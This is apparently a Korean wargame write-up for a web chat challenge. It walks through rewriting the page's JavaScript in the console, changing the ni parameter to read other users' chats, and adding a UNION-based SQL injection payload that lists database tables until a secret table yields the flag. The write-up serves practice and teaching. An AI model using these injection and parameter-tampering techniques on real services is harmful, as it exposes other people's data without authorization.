Hacking/Wargame

Wargame ) Web Chatting

proggg 2020. 7. 11. 16:48
728x90

function getchatlog(type){
  xmlhttp = new XMLHttpRequest();
  if(type==0){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
  }else if(type==1){xmlhttp.onreadystatechange=chatprint;xmlhttp.open("GET","chatview.php?t=1&ni="+ni + " union select 1,table_name,3,4,5 from information_schema.tables--");}
  xmlhttp.send(null);
 }

κ°„λ‹¨ν•œ SQL Injection μ΄λž€λ‹€. 그리고 νŠΈλž˜ν”½μ„ 쀄이기 μœ„ν•΄ ν•  수 μžˆλŠ”κ²Œ 무엇이 μžˆλŠ”μ§€ λ¬Όμ–΄λ³΄λŠ” 것 κ°™λ‹€. on developer's perspective.

 

ID λ₯Ό μž…λ ₯ν•œ 후에 μ±„νŒ… μ„œλΉ„μŠ€λ‘œ 연결이 λœλ‹€. μ΄κ³³μ—μ„œ μ–΄λ–€ SQL 취약점을 λ°œκ²¬ν•  μˆ˜λŠ” μ—†μ—ˆλ‹€. db table 에 κ΄€ν•΄μ„œ μ–΄λ–€ 정보도 μ—†μ—ˆκΈ° λ•Œλ¬Έμ΄λ‹€. 둜그인 ν•œ ν›„ μ±„νŒ…μ„œλΉ„μŠ€μ— μ ‘κ·Όν•˜λ„λ‘ ν•˜κ² λ‹€.

 

이런 UI에 μ—­μ‹œ λ‹¨μˆœν•œ Injection 은 μ‹€ν–‰λ˜μ§€ μ•Šμ•˜λ‹€. 개발자 λͺ¨λ“œλ‘œ μ†ŒμŠ€λ₯Ό μ‚΄νŽ΄λ³΄λ‹ˆ λ‹€μŒκ³Ό 같은 JS κ°€ λ³΄μ˜€λ‹€,

<style>
 textarea {padding-left:10px; font-size:15px; font-family:verdana;}
 body {background-color:#aaa;}
</style>
<script src="./blueh4g_js.js"></script>
<script>
 var xmlhttp,ni,iq=0,brtype=1;
 function getchatlog(type){
  xmlhttp = new XMLHttpRequest();
  if(type==1){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
  }else if(type==2){xmlhttp.onreadystatechange=chatprint;xmlhttp.open("GET","chatview.php?t=1&ni="+ni);}
  xmlhttp.send(null);
 }
 function chatprint(){
  if(xmlhttp.readyState==4 && xmlhttp.status==200){
   var temp=xmlhttp.responseText;
   if(brtype==2){cwifr.document.body.innerHTML+=temp;}else{cwifr.document.write(temp);}
   cwifr.document.body.scrollTop=cwifr.document.body.scrollHeight;
  }
 }
 function getni(){
  if(xmlhttp.readyState==4 && xmlhttp.status==200){
   var tni=parseInt(xmlhttp.responseText);
   if(tni!=ni && iq!=0){getchatlog(2);}
   ni=tni;iq=1;
  }
 }
 function sayf(f){
  var xmlhttp2 = new XMLHttpRequest();
  var pdata="chatlog.php?"+encodeURI("data="+f.saydata.value);
  xmlhttp2.open("GET",pdata);
  xmlhttp2.send(null);
  f.saydata.value="";
  f.saydata.focus();
  return false;
 }
 function init(){
  cwifr = document.getElementById("ifr").contentWindow;
  cwifr.document.body.style.backgroundColor="fff";
// cwifr.document.designMode="on";
  var temp=get_br_blue();
  if(temp=="CHR" || temp=="SAF"){brtype=2;}
  getchatlog(1);
  setInterval("getchatlog(1)",1000);
  document.getElementById("firstf").focus();
 }
</script>
<body onload="init();" style="text-align:center;">
<form method="post" action="chatlog.php" onsubmit="return sayf(this);">
<table align=center>
<tr><td>
<h3>[ BlueCHAT v0.9 ] - <span style="font-size:60%;">μ›Œκ²Œμž„μš© μ±„νŒ…μ΄λΌ 데이터 λ¦¬ν”„λ ˆμ‰¬λŠ” μ’€ 느리게 ν•΄λ’€μŠ΅λ‹ˆλ‹€~</span></h3>
<iframe id="ifr" style="width:850px; height:500px;"></iframe>
</td></tr>
<tr><td align=center><input type="text" style="width:120px; text-align:center; font-weight:bold;" value="γ…‡γ„Ή" readonly><input type="text" name="saydata" style="width:500px" id="firstf"><input type="submit" value="say">&nbsp;&nbsp;&nbsp;<span style="font-size:9px; color:#000;">made by BlueH4G</span><input type="button" value="logout" onclick="window.location='./';"></td></tr>
</table>
</form>
</body>

 

그리고 λ„€νŠΈμ›Œν¬μ—λŠ” μ§€μ†μ μœΌλ‘œ 

chatlog.php λ₯Ό κ°€μ Έμ˜€κ³  μžˆμ—ˆλ‹€. μ–΄λ–€ 쿼리문을 톡해 이런 php κ°€ κ°€μ Έμ™€μ§€λŠ” 것 κ°™λ‹€.

 

JS 에 μžˆλŠ” μ†ŒμŠ€λ₯Ό μ‚΄νŽ΄λ³΄λ„λ‘ ν•˜κ² λ‹€.

 

getchatlog λΌλŠ” ν•¨μˆ˜μ— GET λ°©μ‹μœΌλ‘œ t λ³€μˆ˜μ— 1 을 λ„£μ–΄ chatlog λ₯Ό μš”μ²­ν•˜λŠ” 것을 λ³Ό 수 μžˆλ‹€. 그리고 getchatlog 의 인자인 type 이 2 라면 GET λ°©μ‹μœΌλ‘œ chatview.php λΌλŠ” php λ₯Ό t=1 λ³€μˆ˜ 그리고 ni λΌλŠ” μ–΄λ–€ λ³€μˆ˜λ₯Ό μ‚¬μš©ν•˜μ—¬ μš”μ²­ν•˜λŠ” 것을 λ³Ό 수 μžˆλ‹€. Burpsuite λ₯Ό μ΄μš©ν•΄μ„œ νŒ¨ν‚·μ„ μ‚΄νŽ΄λ³΄λ„λ‘ ν•˜κ² λ‹€.

 

μ•„κΉŒ λ³΄μ•˜λ˜ php μš”μ²­ νŒ¨ν‚·μ΄λ‹€. type λ³€μˆ˜λ₯Ό 1μ—μ„œ 2둜 λ°”κΏ”μ„œ μš”μ²­ν•  ν•„μš”κ°€ μžˆμ„κ²ƒκ°™λ‹€.

 

ν•΄λ‹Ή ν•¨μˆ˜λ₯Ό μ½˜μ†”λ‘œ μˆ˜μ •ν•˜μ—¬ type 1 μΌλ•Œ chatview λ₯Ό μš”μ²­ν•˜λ„λ‘ μˆ˜μ •ν•˜κ² λ‹€.

 function getchatlog(type){
  xmlhttp = new XMLHttpRequest();
  if(type==0){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
  }else if(type==1){xmlhttp.onreadystatechange=chatprint;xmlhttp.open("GET","chatview.php?t=1&ni="+ni);}
  xmlhttp.send(null);
 }

μ΄λ ‡κ²Œ μˆ˜μ •ν•˜λ©΄ νŒ¨ν‚·μ—μ„œ 

 

chatview λ₯Ό μš”μ²­ν•œ 것을 λ³Ό 수 μžˆλ‹€. 그리고 ni λΌλŠ” 값은 55940 μž„μ„ μ•Œ 수 μžˆλ‹€. ν•˜μ§€λ§Œ νŒ¨ν‚·μ— μ–΄λ–€ λ³€μˆ˜λ§Œ λ°”λ€Œμ—ˆμ„ 뿐, UI 에 λˆˆμ— λ„λŠ” λ³€ν™”λŠ” 보이지 μ•Šμ•˜λ‹€. 

 

μ±„νŒ…μ„ μž…λ ₯해보겠닀.

 

chatview.php λŠ” μ±„νŒ…κΈ°λ‘μ„ λ³΄μ—¬μ£ΌλŠ” λ“― ν•˜λ‹€. κ·Έ μ™Έμ—λŠ” μ–΄λ–€ λ‹€λ₯Έκ²ƒμ΄ 보이진 μ•Šμ•˜λ‹€. νŽ˜μ΄μ§€ μ†ŒμŠ€λ₯Ό λ‹€μ‹œν•œλ²ˆ μ‚΄νŽ΄λ³΄μ•„μ•Όκ² λ‹€. νŽ˜μ΄μ§€ μ†ŒμŠ€μ—λ„ '55940' μ΄λΌλŠ” κ°’ λ§κ³ λŠ” λ‹€λ₯Έκ²ƒμ΄ μ—†λ‹€. κ·Έλ ‡λ‹€ 55940 은 νŒ¨ν‚·μ—μ„œ μš”μ²­ν•˜λ˜ ni λ³€μˆ˜μ˜ 값이닀. 

 

그리고 λ‚΄κ°€ μž…λ ₯ν–ˆλ˜ 값이 계속 load 되고 μžˆλŠ”κ±°λ‘œ 보아, ni 값이 λ‚˜μ˜ μ±„νŒ… 내역에 κ΄€ν•΄μ„œ μ–΄λ–€ 정보λ₯Ό 가지고 μžˆλŠ” 것 처럼 보인닀. 

ni λ₯Ό μ‘°μž‘ν•˜μ—¬ 보내보도둝 ν•˜κ² λ‹€.

 

55940 -> 55941 둜 λ°”κΎΈμ—ˆλ‹€.

 

λ§ˆμ§€λ§‰μœΌλ‘œ μž…λ ₯ν–ˆλ˜ μ±„νŒ…μ΄ μ—¬λŸ¬κ°œ 보여진닀. 계속 바꾸어보겠닀.

 

TEST λΌλŠ” μƒˆλ‘œμš΄ 문자λ₯Ό μ±„νŒ… μ„œλ²„μ— 보내고 ni λ₯Ό 55940 -> 55939 둜 λ°”κΎΈμ—ˆλ”λ‹ˆ

λ‹€λ₯Έ μ‚¬λžŒμ˜ μ±„νŒ…μ΄ 보여진닀. ni λŠ” user 의 id 같은 역할을 ν–ˆμ„ 것이닀.

 

κ·Έλ ‡λ‹€λ©΄ ν•΄λ‹Ή μΏΌλ¦¬λŠ” select <μ±„νŒ…λ‚΄μ—­ > from < table name > where ni = 55940 ; μ΄λŸ°μ‹μ΄ 될 것이닀.  κ·Έλ ‡λ‹€λ©΄ ni 값을 μ‘°μž‘ν•¨μœΌλ‘œμ¨ λ‹€λ₯Έ μœ μ €μ˜ μ±„νŒ… 둜그λ₯Ό κ°€μ Έμ™”μœΌλ‹ˆ 'μ·¨μ•½ν•œ 인증' 에 ν•΄λ‹Ήν•˜λŠ” 취약점이 λ°œμƒν–ˆλ‹€. 그리고 이 ni λ³€μˆ˜λ₯Ό μ΄μš©ν•˜μ—¬ μΈμ μ…˜μ„ μ‹œλ„ν•΄λ³΄κ² λ‹€.

 

쿼리λ₯Ό 보내보겠닀.

 

packet 을 μ΄μš©ν•΄μ„œλŠ” μ•ˆλ˜κΈΈλž˜ κ·Έλƒ₯ ν•¨μˆ˜λ₯Ό κ³ μ³μ„œ λΈŒλΌμš°μ € μ•Œμ•„μ„œ μΈμ½”λ”©ν•˜λ„λ‘ ν–ˆλ‹€.

 

function getchatlog(type){
  xmlhttp = new XMLHttpRequest();
  if(type==0){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
  }else if(type==1){xmlhttp.onreadystatechange=chatprint;xmlhttp.open
  ("GET","chatview.php?t=1&ni="+ni + " union select 1,table_name,3,4,5 from information_schema.tables--");}
  xmlhttp.send(null);
 }

 

μ΄λ ‡κ²Œ ν•¨μˆ˜λ₯Ό μˆ˜μ •ν•΄μ„œ λ³΄λƒˆλ”λ‹ˆ

 



이런 ν…Œμ΄λΈ”λ“€μ΄ λ‚˜μ™”λ‹€.

 

secret 이라고 ν•˜λ©΄ 괜히 보고싢어진닀. 사싀 μ €κ²Œ 제일 μˆ˜μƒν•˜λ‹€. select 문을 λ‹€μ‹œ μˆ˜μ •ν•΄μ„œ chat_log_secret 을 μ‘°νšŒν•΄λ³΄κ² λ‹€.

ν•΄λ‹Ή ν…Œμ΄λΈ”μ„ μ‘°νšŒν•˜μ—¬, 직접 μ ‘κ·Όν–ˆλ”λ‹ˆ ν”Œλž˜κ·Έκ°€ λ‚˜μ™”λ‹€.

 

 

이 문제λ₯Ό ν‘ΈλŠ”λ° ν…Œμ΄λΈ”κ³Ό 컬럼 정보λ₯Ό κ°€μ Έμ˜€λŠ”λ° μ˜€λ²„ν—€λ“œκ°€ λ„ˆλ¬΄ μ‹¬ν•΄μ„œ type 을 κ°•μ œλ‘œ λ°”κΏ”μ„œ chatview 에 μ ‘κ·Όν•˜λŠ”κ²ƒμ€ μΆ”μ²œν•˜μ§€ μ•ŠλŠ”λ‹€...

 

728x90